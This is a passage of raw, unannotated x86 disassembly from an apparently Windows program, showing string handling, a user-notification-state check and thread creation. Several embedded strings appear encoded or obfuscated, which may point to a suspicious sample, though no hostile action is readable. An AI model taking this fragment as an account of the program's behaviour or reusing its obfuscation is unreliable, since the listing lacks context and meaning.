mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x34]
push dword [edx + 4]
push dword [eax]
call fcn.0042f6b0
mov esi, dword [ebp - 0x34]
mov byte [ebp - 4], 0x43
mov eax, edi
mov edx, dword [ebp - 0x38]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40af09
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 0xc], 0x14
jl 0x40ae66
push 8
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x34]
call fcn.0041fdc0
mov edi, eax
mov byte [ebp - 4], 0x45
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40af39
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042f500
mov edx, dword [edi]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0xc8], 0
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc4], 0
lea edi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40af60
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.0042d740
mov byte [ebp - 4], 0x46
call fcn.00552c2d
cmp dword [ebp - 0xc4], 8
lea edi, [ebp - 0xd8]
mov dword [ebp - 0x1c], eax
cmovae edi, dword [ebp - 0xd8]
mov dword [eax], 0
lea eax, [ebp - 0x44]
push 0x10
push eax
push edi
call fcn.005546f2
add esp, 0xc
cmp edi, dword [ebp - 0x44]
je 0x40c544
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], 0x22
je 0x40c54e
test edx, edx
jl 0x40afdb
jg 0x40afdb
test eax, eax
jb 0x40afdb
test edx, edx
jg 0x40afdb
jl 0x40afde
cmp eax, 0xffffffff
jbe 0x40afde
or eax, 0xffffffff
mov byte [ebp - 4], 0x45
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x48], eax
cmp ecx, 8
jb 0x40b025
mov edx, dword [ebp - 0xd8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b01b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c558
push ecx
push edx
call fcn.0054dc64
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x43
mov edx, dword [ebp - 0x54]
or edi, 0xffffffff
mov word [ebp - 0xd8], ax
add edx, 0xfffffff0
mov dword [ebp - 0xc8], 0
mov eax, edi
mov dword [ebp - 0xc4], 7
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b063
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esi - 0xc]
lea ecx, [ebp - 0x34]
push 8
add eax, 0xfffffff8
push eax
call fcn.00420180
push ecx
mov dword [ebp - 0x60], esp
mov esi, dword [ebp - 0x34]
lea ecx, [esi - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
call fcn.00447900
add esp, 4
cmp eax, dword [ebp - 0x48]
jne 0x40ae66
cmp dword [esi - 0xc], 4
jg 0x40b0b4
lea ecx, [esi - 0x10]
call fcn.0042ea10
lea edi, [eax + 0x10]
mov dword [ebp - 0x24], edi
jmp 0x40b146
mov ecx, dword [esi - 0x10]
test ecx, ecx
je 0x40b0c8
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
mov ecx, eax
test ecx, ecx
jne 0x40b0e0
call fcn.0042f110
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 0x10]
call eax
mov ecx, eax
test ecx, ecx
je 0x40c55d
test esi, esi
je 0x40c567
mov eax, dword [ecx]
push 2
push 4
mov eax, dword [eax]
call eax
test eax, eax
je 0x40c571
cmp dword [eax + 8], 4
lea edi, [eax + 0x10]
mov dword [ebp - 0x24], edi
jl 0x40c567
xor eax, eax
mov dword [edi - 0xc], 4
mov word [edi + 8], ax
test edi, edi
je 0x40b136
test esi, esi
je 0x40b12b
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [edi], eax
mov dword [edi + 4], ecx
jmp 0x40b146
xorps xmm0, xmm0
movq qword [edi], xmm0
test esi, esi
jne 0x40b146
call fcn.00552c2d
mov dword [eax], 0x16
call fcn.00552b2f
mov eax, dword [ebp - 0x3c]
or eax, 0x40
mov byte [ebp - 4], 0x47
mov dword [ebp - 0x3c], eax
cmp dword [edi - 4], 1
jle 0x40b167
push dword [edi - 0xc]
lea ecx, [ebp - 0x24]
call fcn.0042f500
mov edi, dword [ebp - 0x24]
mov ecx, edi
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b190
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0xf0]
call fcn.0042d740
mov byte [ebp - 4], 0x48
call fcn.00552c2d
cmp dword [ebp - 0xdc], 8
lea esi, [ebp - 0xf0]
mov dword [ebp - 0x1c], eax
cmovae esi, dword [ebp - 0xf0]
mov dword [eax], 0
lea eax, [ebp - 0x98]
push 0x10
push eax
push esi
call fcn.005546f2
add esp, 0xc
mov dword [ebp - 0x28], eax
cmp esi, dword [ebp - 0x98]
je 0x40c576
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], 0x22
je 0x40c580
test edx, edx
jl 0x40b214
jg 0x40b214
test eax, eax
jb 0x40b214
test edx, edx
jg 0x40b214
jl 0x40b21b
cmp eax, 0xffffffff
jbe 0x40b21b
mov dword [ebp - 0x28], 0xffffffff
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0xdc]
cmp ecx, 8
jb 0x40b25f
mov edx, dword [ebp - 0xf0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b255
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c58a
push ecx
push edx
call fcn.0054dc64
add esp, 8
xor eax, eax
mov dword [ebp - 0xe0], 0
lea edx, [edi - 0x10]
mov word [ebp - 0xf0], ax
or edi, 0xffffffff
mov dword [ebp - 0xdc], 7
mov byte [ebp - 4], 0x43
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b29a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 4
push 0
lea ecx, [ebp - 0x34]
call fcn.00420180
mov esi, dword [ebp - 0x34]
cmp dword [esi - 0xc], 0
jle 0x40ae66
push 8
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x34]
call fcn.0041fdc0
mov edi, eax
mov byte [ebp - 4], 0x49
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40b2dc
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042f500
mov edx, dword [edi]
xorps xmm0, xmm0
mov eax, edx
mov dword [ebp - 0xf8], 0
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf4], 0
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40b301
sub eax, edi
lea ecx, [ebp - 0x108]
sar eax, 1
push eax
push edx
call fcn.0042d740
mov byte [ebp - 4], 0x4a
call fcn.00552c2d
cmp dword [ebp - 0xf4], 8
lea edi, [ebp - 0x108]
mov dword [ebp - 0x1c], eax
cmovae edi, dword [ebp - 0x108]
mov dword [eax], 0
lea eax, [ebp - 0x64]
push 0x10
push eax
push edi
call fcn.005546f2
add esp, 0xc
cmp edi, dword [ebp - 0x64]
je 0x40c58f
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], 0x22
je 0x40c599
test edx, edx
jl 0x40b37c
jg 0x40b37c
test eax, eax
jb 0x40b37c
test edx, edx
jg 0x40b37c
jl 0x40b37f
cmp eax, 0xffffffff
jbe 0x40b37f
or eax, 0xffffffff
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x48], eax
cmp ecx, 8
jb 0x40b3c6
mov edx, dword [ebp - 0x108]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b3bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c5a3
push ecx
push edx
call fcn.0054dc64
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x43
mov edx, dword [ebp - 0x84]
or edi, 0xffffffff
mov word [ebp - 0x108], ax
add edx, 0xfffffff0
mov dword [ebp - 0xf8], 0
mov eax, edi
mov dword [ebp - 0xf4], 7
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b407
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00424230
mov ecx, dword [ebp - 0x10c]
cmp byte [ecx + 0xd], 0
jne 0x40b42e
mov eax, dword [ebp - 0x48]
cmp eax, dword [ecx + 0x10]
jae 0x40b4a5
cmp dword [ebp - 0x68], 0xaaaaaaa
je 0x40c5a8
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0xb4], eax
mov byte [ebp - 4], 0x4b
push 0x18
mov dword [ebp - 0xb0], 0
call fcn.0054dc34
mov byte [ebp - 4], 0x43
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xb0], 0
mov dword [eax + 0x10], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [eax + 0x14], 0
push eax
push dword [ebp - 0x110]
mov dword [eax], ecx
push dword [ebp - 0x114]
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x6c]
mov word [eax + 0xc], 0
call fcn.00423820
mov ecx, eax
mov eax, dword [ebp - 0x28]
mov dword [ecx + 0x14], eax
mov eax, dword [esi - 0xc]
push 8
add eax, 0xfffffff8
push eax
jmp 0x40b29e
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x3c], eax
lea edi, [eax + 0xc]
push edi
mov dword [ebp - 0x2c], edi
call fcn.0053aa81
add esp, 4
test eax, eax
jne 0x40c5ad
mov eax, dword [edi + 0x2c]
cmp eax, 0x7fffffff
je 0x40c5b4
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 0x3c]
add ecx, 4
cmp ecx, eax
je 0x40b58b
mov eax, dword [ecx]
mov dword [ebp - 0x1c], eax
push dword [eax + 4]
push ecx
call fcn.00424280
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
add ecx, 4
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [eax + 8], eax
push dword [ecx]
mov dword [ecx + 4], 0
mov eax, dword [ebp - 0x6c]
push dword [eax + 4]
call fcn.00464990
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [edx + 8], eax
mov eax, dword [edx + 4]
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x40b583
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
jne 0x40b55f
mov ecx, eax
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
je 0x40b555
mov eax, dword [edx + 4]
mov dword [eax], ecx
mov edx, dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
jne 0x40b57e
mov ecx, eax
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
je 0x40b573
mov dword [edx + 8], ecx
jmp 0x40b58b
mov dword [eax], eax
mov eax, dword [edx + 4]
mov dword [eax + 8], eax
push edi
call fcn.0053aa92
mov eax, dword [ebp - 0x6c]
add esp, 4
push dword [eax + 4]
lea eax, [ebp - 0x6c]
push eax
mov ecx, eax
call fcn.00424280
push 0x18
push dword [ebp - 0x6c]
call fcn.0054dc64
add esp, 8
or edi, 0xffffffff
jmp 0x40bebe
cmp dword [esi - 4], 1
jle 0x40b5ce
push dword [esi - 0xc]
lea ecx, [ebp - 0x34]
call fcn.0042f500
mov esi, dword [ebp - 0x34]
push esi
call fcn.0055436f
add esp, 4
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.SHELL32.dll_SHQueryUserNotificationState]
mov eax, dword [ebp - 0x1c]
cmp eax, 5
je 0x40b82e
cmp eax, 7
je 0x40b82e
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5bf
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.QlR3GYy0y8EQYwjCxMKgMTcW3ESYxREw
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x67
call fcn.0042f380
test al, al
jne 0x40b639
push 0x22
push str.QlR3GYy0y8EQYwjCxMKgMTcW3ESYxREw
lea ecx, [ebp - 0x3c]
call fcn.0042f6b0
mov byte [ebp - 4], 0x69
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5c9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push dword [ebp - 0x58]
mov byte [ebp - 4], 0x6a
push ecx
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0x78]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x20]
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x6b
push dword [eax]
lea eax, [ebp - 0x30]
push eax
call fcn.00421a10
mov byte [ebp - 4], 0x6a
add esp, 0xc
mov edx, dword [ebp - 0x20]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b6b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5d3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x594824
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x6c
call fcn.0042f380
test al, al
jne 0x40b6f1
push 0
push 0x594824
lea ecx, [ebp - 0x28]
call fcn.0042f6b0
mov byte [ebp - 4], 0x6d
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5dd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x6e
call fcn.0042f380
test al, al
jne 0x40b735
push 0
push 0x594824
lea ecx, [ebp - 0x24]
call fcn.0042f6b0
mov byte [ebp - 4], 0x6f
push ecx
mov dword [ebp - 0x1c], esp
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x44]
call fcn.004455a0
add esp, 4
mov dword [ebp - 0x20], eax
push ecx
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0x5c]
add ecx, 0xfffffff0
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x38]
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x71
mov edx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00459130
mov edx, dword [ebp - 0x38]
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b7be
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b7d8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b7f2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b80c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b826
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
jmp 0x40beaa
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5e7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x58f368
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x4d
call fcn.0042f380
test al, al
jne 0x40b86e
push 0x13
push 0x58f368
lea ecx, [ebp - 0x3c]
call fcn.0042f6b0
mov byte [ebp - 4], 0x4e
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5f1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push str.Qjl1cRg5YWBjIWcUBgj
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4f
call fcn.0042f380
test al, al
jne 0x40b8b2
push 0x13
push str.Qjl1cRg5YWBjIWcUBgj
lea ecx, [ebp - 0x30]
call fcn.0042f6b0
push ecx
mov byte [ebp - 4], 0x50
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x20], esp
push ecx
mov dword [ebp - 0x1c], esp
mov ecx, dword [0x5c8f24]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
mov ecx, dword [ebp - 0x20]
call fcn.004455a0
add esp, 4
push ecx
mov byte [ebp - 4], 0x51
lea eax, [esi - 0x10]
mov dword [ebp - 0x1c], esp
mov ecx, eax
mov dword [ebp - 0x44], esp
mov dword [ebp - 0x38], eax
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
mov byte [ebp - 4], 0x52
push ecx
mov dword [ebp - 0x20], esp
push ecx
mov dword [ebp - 0x1c], esp
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x60], eax
call fcn.0042ea10
mov ecx, dword [ebp - 0x20]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x50
mov ecx, SysReAllocString
call fcn.00448840
mov edx, dword [ebp - 0x50]
lea ecx, [ebp - 0x20]
add esp, 0xc
call fcn.00448a50
mov byte [ebp - 4], 0x53
mov edx, dword [eax]
lea eax, [esi - 0x10]
lea ecx, [edx - 0x10]
cmp ecx, eax
je 0x40b9a5
mov esi, dword [ebp - 0x38]
mov eax, dword [esi + 0xc]
shr eax, 0x1f
test al, al
jne 0x40b996
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x40b996
call fcn.0042ea10
mov dword [ebp - 0x1c], eax
lea edx, [esi + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40b98e
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
lea esi, [eax + 0x10]
mov dword [ebp - 0x34], esi
jmp 0x40b9a5
push dword [ecx + 4]
lea ecx, [ebp - 0x34]
push edx
call fcn.0042f6b0
mov esi, dword [ebp - 0x34]
mov byte [ebp - 4], 0x50
mov eax, edi
mov edx, dword [ebp - 0x20]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b9c3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 4], 1
jle 0x40b9d7
push dword [esi - 0xc]
lea ecx, [ebp - 0x34]
call fcn.0042f500
mov esi, dword [ebp - 0x34]
push esi
call fcn.0055436f
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x20], esp
push ecx
mov dword [ebp - 0x1c], esp
mov ecx, dword [0x5c8f24]
mov dword [ebp - 0x4c], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
mov ecx, dword [ebp - 0x20]
call fcn.004455a0
add esp, 4
push ecx
mov byte [ebp - 4], 0x54
lea ecx, [esi - 0x10]
mov dword [ebp - 0x38], esp
mov dword [ebp - 0x1c], esp
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
mov byte [ebp - 4], 0x55
push ecx
mov dword [ebp - 0x20], esp
push ecx
mov dword [ebp - 0x1c], esp
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042ea10
mov ecx, dword [ebp - 0x20]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x50
mov ecx, SysReAllocString
call fcn.00448840
add esp, 0xc
mov byte [ebp - 4], 0x56
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c5fb
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
push dword [ebp - 0x58]
mov byte [ebp - 4], 0x57
push ecx
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0x78]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x20]
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x58
push dword [eax]
lea eax, [ebp - 0x48]
push eax
call fcn.00421a10
mov byte [ebp - 4], 0x57
add esp, 0xc
mov edx, dword [ebp - 0x20]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40badb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c605
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x594824
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x59
call fcn.0042f380
test al, al
jne 0x40bb1b
push 0
push 0x594824
lea ecx, [ebp - 0x28]
call fcn.0042f6b0
mov byte [ebp - 4], 0x5a
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c60f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x5b
call fcn.0042f380
test al, al
jne 0x40bb5f
push 0
push 0x594824
lea ecx, [ebp - 0x24]
call fcn.0042f6b0
push ecx
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0xa4]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x44]
call fcn.004455a0
add esp, 4
mov dword [ebp - 0x20], eax
push ecx
mov byte [ebp - 4], 0x5d
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0x5c]
add ecx, 0xfffffff0
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x38]
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x5e
mov edx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x48]
push ecx
mov ecx, eax
call fcn.00459130
mov edx, dword [ebp - 0x38]
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bbe6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bc00
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bc1a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x57
mov eax, edi
mov edx, dword [ebp - 0x28]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bc38
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x58], 0
je 0x40be76
mov eax, dword [ebp - 0x40]
cmp dword [eax + 0x118], 0
jne 0x40be76
mov byte [ebp - 4], 0x5f
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c619
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x40]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x60
mov dword [ecx + 0x114], eax
lea eax, [ebp - 0x178]
mov ecx, esp
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x1c]
call fcn.004451c0
add esp, 0x18
mov byte [ebp - 4], 0x61
push dword [eax]
lea eax, [ebp - 0x28]
push eax
call fcn.00421a10
mov byte [ebp - 4], 0x60
add esp, 0xc
mov edx, dword [ebp - 0x1c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bccf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
sub esp, 0x18
lea eax, [ebp - 0x190]
mov ecx, esp
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x20]
call fcn.004451c0
add esp, 0x18
mov byte [ebp - 4], 0x62
mov edx, dword [eax]
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40bd00
sub ecx, dword [ebp - 0x1c]
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x40]
push edx
lea ecx, [ecx + 0x120]
call fcn.0042dee0
mov byte [ebp - 4], 0x60
mov eax, edi
mov edx, dword [ebp - 0x20]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bd3e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c623
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.Y3d6RcBhVFGwATnVUBQVGFUUvHxce1HBkANFg4Z3DBkJrUllXxAVIMAERwV2ET4JTPxMSiFFJZVVw4CMFhIH4DR4
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x63
call fcn.0042f380
test al, al
jne 0x40bd7e
push 0x59
push str.Y3d6RcBhVFGwATnVUBQVGFUUvHxce1HBkANFg4Z3DBkJrUllXxAVIMAERwV2ET4JTPxMSiFFJZVVw4CMFhIH4DR4
lea ecx, [ebp - 0x24]
call fcn.0042f6b0
mov eax, dword [ebp - 0x40]
mov byte [ebp - 4], 0x64
push 4
push ecx
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x20], esp
push ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], esp
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042ea10
mov ecx, dword [ebp - 0x20]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.004455a0
mov ecx, dword [ebp - 0x38]
add esp, 4
call fcn.004625b0
mov eax, dword [ebp - 0x40]
push 8
push ecx
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esp
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0042ea10
mov ecx, dword [ebp - 0x20]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.004625b0
push 4
call fcn.0054dc34
mov ecx, dword [ebp - 0x40]
add esp, 4
mov dword [ebp - 0x2c], eax
mov dword [eax], ecx
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x65
push ecx
push 0
push eax
push 0x4250b0
push 0
push 0
call fcn.005592b8
add esp, 0x18
mov dword [ebp - 0x9c], eax
test eax, eax
je 0x40c632
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x66
call fcn.0042e590
cmp dword [ebp - 0x98], 0
